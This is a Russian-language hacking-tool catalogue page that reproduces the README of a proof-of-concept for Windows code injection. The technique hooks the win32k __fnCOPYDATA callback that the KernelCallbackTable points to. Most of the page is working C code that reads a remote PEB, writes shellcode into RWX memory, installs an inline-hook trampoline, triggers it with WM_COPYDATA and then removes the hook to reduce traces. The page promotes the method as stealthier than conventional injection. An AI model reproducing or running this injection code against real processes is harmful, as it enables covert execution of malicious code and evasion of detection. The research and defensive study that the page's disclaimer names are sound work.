Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
win32k-callback-detouring — Злоупотребление механизмом обратных вызовов ядра win32k.sys для выполнения произвольного кода | Kitploit
Инструменты/GitHubGitHub/n0qword/win32k-callback-detouring
ЭксплуатацияШелл-кодПост-эксплуатацияОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

Злоупотребление механизмом обратных вызовов ядра win32k.sys для выполнения произвольного кода

РепозиторийСайт
1081265 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Отказ от ответственности

Этот репозиторий предоставлен строго в образовательных и исследовательских целях, связанных с защитой.

В нём демонстрируются внутренние механизмы диспетчеризации обратных вызовов Windows и концепции управления потоком выполнения, связанные с KernelCallbackTable, в контексте proof-of-concept.

  • Не предназначен для неавторизованного использования
  • Не предназначен для оперативного развертывания
  • Не учитывает требования скрытности/opsec
  • Используйте только в контролируемых лабораторных средах, которыми вы владеете или на тестирование которых у вас есть разрешение

Автор не несёт ответственности за неправомерное использование.


Win32k Callback Detouring: злоупотребление легитимной диспетчеризацией обратных вызовов из ядра в пользовательский режим для выполнения кода

Обзор

Эта техника инъекции злоупотребляет путём диспетчеризации обратных вызовов из ядра в пользовательский режим, используемым графической подсистемой Windows (win32k.sys), для получения выполнения кода в удалённом процессе. Обнаружив KernelCallbackTable через целевого процесса, оператор может перечислить записи обратных вызовов и определить легитимные процедуры пользовательского режима, вызываемые при связанных с GUI переходах из ядра.

Process Environment Block (PEB)

Вместо традиционной KernelCallbackTable Injection, когда запись таблицы обратных вызовов перезаписывается напрямую адресом шеллкода, этот вариант перехватывает легитимную цель обратного вызова, на которую ссылается таблица, и перенаправляет выполнение на управляемый атакующим шеллкод при вызове. Поскольку выполнение перехватывается через существующий и ожидаемый путь обратных вызовов, данная техника может служить более скрытной альтернативой более традиционным примитивам, таким как создание удалённого потока или APC-based injection.


Понимание механизма

Порядок диспетчеризации обратных вызовов Windows

Графическая подсистема Windows делегирует часть обработки, связанной с GUI, в пользовательский режим через механизм обратных вызовов, инициируемый из режима ядра. Когда win32k.sys требует выполнения логики в контексте GUI-процесса, он вызывает KeUserModeCallback, чтобы выполнить контролируемый переход из режима ядра в пользовательский режим, сохраняя границу изоляции между обоими контекстами выполнения.

Этот переход устанавливает легитимный путь выполнения, через который ядро диспетчеризует обратные вызовы графической подсистемы в пользовательский режим, — тот же путь, которым впоследствии злоупотребляет представленная техника.


KiUserCallbackDispatcher

После завершения перехода выполнение попадает в KiUserCallbackDispatcher — процедуру из ntdll.dll, отвечающую за получение индекса обратного вызова, переданного ядром, и передачу управления соответствующему обработчику в пользовательском режиме. Эта процедура служит обязательной точкой входа для всех обратных вызовов, инициированных через KeUserModeCallback.

Поскольку разрешение всех обратных вызовов сходится в этом диспетчере, KiUserCallbackDispatcher выступает центральным связующим звеном между запросами обратных вызовов ядра и их последующим выполнением в пользовательском режиме.


Путь разрешения KernelCallbackTable

Чтобы определить адрес назначения запрошенного обратного вызова, KiUserCallbackDispatcher обращается к KernelCallbackTable, хранящейся в PEB целевого процесса. Каждая запись таблицы содержит указатель на процедуру обратного вызова пользовательского режима, связанную с конкретной операцией графической подсистемы, как правило реализованную в user32.dll.

Традиционные техники KernelCallbackTable Injection напрямую перезаписывают одну или несколько таких записей, чтобы перенаправить выполнение. Несмотря на эффективность, изменение самой таблицы создаёт структурные аномалии, которые могут быть легко обнаружены при проверке целостности PEB или содержимого таблицы обратных вызовов. Представленная техника избегает этого, сохраняя структуру таблицы и вместо этого перехватывая (детуря) цель обратного вызова, на которую ссылается запись.


Использование __fnCOPYDATA в качестве примитива выполнения

Среди доступных записей KernelCallbackTable __fnCOPYDATA предоставляет особенно удобный примитив запуска, поскольку его можно вызвать извне, отправив сообщение WM_COPYDATA через SendMessage(). Это позволяет детерминированно запускать обратный вызов без необходимости в особом состоянии процесса или сложном взаимодействии.

Используя естественно доступную и часто используемую цель обратного вызова, техника получает надёжный примитив выполнения, оставаясь при этом полностью в рамках ожидаемой цепочки диспетчеризации обратных вызовов до момента перенаправления.


kcallbackflow


Как это работает

Техника начинается с поиска целевого процесса и чтения его PEB для получения адреса KernelCallbackTable, из которой извлекается указатель обратного вызова для __fnCOPYDATA. Затем в удалённом процессе выделяется исполняемая память, и в выделенную область записывается управляемый атакующим шеллкод. До внесения изменений исходные байты легитимной процедуры обратного вызова сохраняются для последующего восстановления.

Затем в начало разрешённой процедуры __fnCOPYDATA устанавливается инлайн-хук, заменяющий её пролог абсолютным переходом на внедрённый шеллкод. Для запуска выполнения на целевое окно отправляется сообщение WM_COPYDATA, в результате чего графическая подсистема Windows диспетчеризует __fnCOPYDATA через стандартную цепочку обратных вызовов из ядра в пользовательский режим. После завершения выполнения исходные байты процедуры обратного вызова восстанавливаются для сохранения стабильности процесса и уменьшения остаточных следов модификации.


Реализация

Шаг 1: Получение PEB удалённого процесса и KernelCallbackTable

KernelCallbackTable расположена по смещению 0x58 внутри PEB:

dt_peb

Для её получения используется следующая логика:

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

Код начинается с вызова NtQueryInformationProcess с информационным классом ProcessBasicInformation для заполнения структуры PROCESS_BASIC_INFORMATION, которая предоставляет адрес PEB удалённого процесса через поле PebBaseAddress.

Затем с помощью NtReadVirtualMemory удалённый PEB считывается в локальную структуру PEB, что позволяет извлечь указатель на KernelCallbackTable, хранящийся в окружении процесса. После проверки наличия таблицы обратных вызовов второй вызов NtReadVirtualMemory копирует удалённую структуру KERNELCALLBACKTABLE в локальную память, обеспечивая прямое разрешение целей обратных вызовов, таких как __fnCOPYDATA, для последующего детура.

kct_callback


Шаг 2: Выделение памяти под шеллкод в удалённом процессе

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

NtAllocateVirtualMemory резервирует исполняемую память внутри удалённого процесса и возвращает её базовый адрес через remoteShellcodeAddr. Размер выделения определяется длиной буфера шеллкода.

NtWriteVirtualMemory затем копирует шеллкод в выделенную область, размещая полезную нагрузку в целевом процессе для последующего выполнения через детур обратного вызова.


Шаг 3: Установка инлайн-хука и запуск выполнения

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

InitializeHookRemote подготавливает удалённую цель обратного вызова к детуру, сохраняя адреса исходной функции и функции-детура в структуре INLINEHOOKTABLE. Она сохраняет исходный пролог процедуры обратного вызова, считывая первые байты целевой процедуры через NtReadVirtualMemory, затем изменяет защиту этого региона на PAGE_EXECUTE_READWRITE с помощью NtProtectVirtualMemory, чтобы его можно было безопасно пропатчить.

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

InstallHookRemote создаёт абсолютный x64-трамплин перехода (mov r10, <detour>; jmp r10), перенаправляющий выполнение на внедрённый шеллкод. Затем трамплин записывается в начало целевой процедуры обратного вызова через NtWriteVirtualMemory, что фактически устанавливает инлайн-хук.

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

RemoveHookRemote восстанавливает исходную процедуру обратного вызова, записывая обратно сохранённые байты пролога, хранящиеся в структуре INLINEHOOKTABLE. Затем она восстанавливает исходные атрибуты защиты памяти пропатченного региона с помощью NtProtectVirtualMemory, удаляя инлайн-хук и возвращая цель обратного вызова в исходное состояние.

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

Для запуска выполнения на целевое окно отправляется сообщение WM_COPYDATA через SendMessageW, что заставляет диспетчер обратных вызовов Windows вызвать перехваченную процедуру __fnCOPYDATA через обычный путь обратных вызовов из ядра в пользовательский режим. После завершения выполнения RemoveHookRemote восстанавливает исходные байты процедуры обратного вызова для сохранения стабильности процесса.


Выполнение

После реализации логики proof of concept можно запустить и получить следующий результат:

fin_exec

Скачать инструмент